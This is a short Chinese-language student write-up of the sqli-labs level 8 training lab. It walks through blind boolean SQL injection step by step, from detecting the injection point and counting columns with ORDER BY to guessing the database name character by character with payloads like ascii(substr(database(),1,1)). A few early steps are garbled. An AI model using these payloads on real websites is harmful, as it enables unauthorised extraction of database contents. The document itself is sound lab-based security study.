这次实训课,我们挑战了sqli-labs第8关。在这一关中,通过SQL注入技术获取数据库的相关信息。这是一场激动人心的探索之旅,我尝试判断是否存在SQL注入,探测注入点,并最终猜解数据库名称。
判断是否存在注入,探测注入点,域名后面加上吗,d 1=2,发现页面没有变化
加上—qwe
Id=1,网页有变化,说明存在sql注入
添加order by,网页正常
尝试order by4,发现网页有变化
猜解库名长度,输入?id=1' and (length(database()))=8 – qwe,页面返回正常
利用ASCII码猜解当前数据库名称:?id=1' and (ascii(substr(database(),1,1)))=115-- qwe 返回正常,说明数据库名称第一位是s
?id=1' and (ascii(substr(database(),2,1)))=101-- qwe 返回正常,说明数据库名称第二位是e
通过依次猜解每一个字符,可以得到完整的数据库名称。
闯关心得
这次挑战帮助我们更加深入地理解了SQL注入的工作原理。通过实践,我们掌握了如何判断注入点、探测数据库结构,以及逐字猜解数据库名称的技巧。这些技能对于在实际中发现并修复SQL注入漏洞至关重要。在今后的学习和工作中,希望大家能继续提升自己的技能,更好地保护数据库的安全。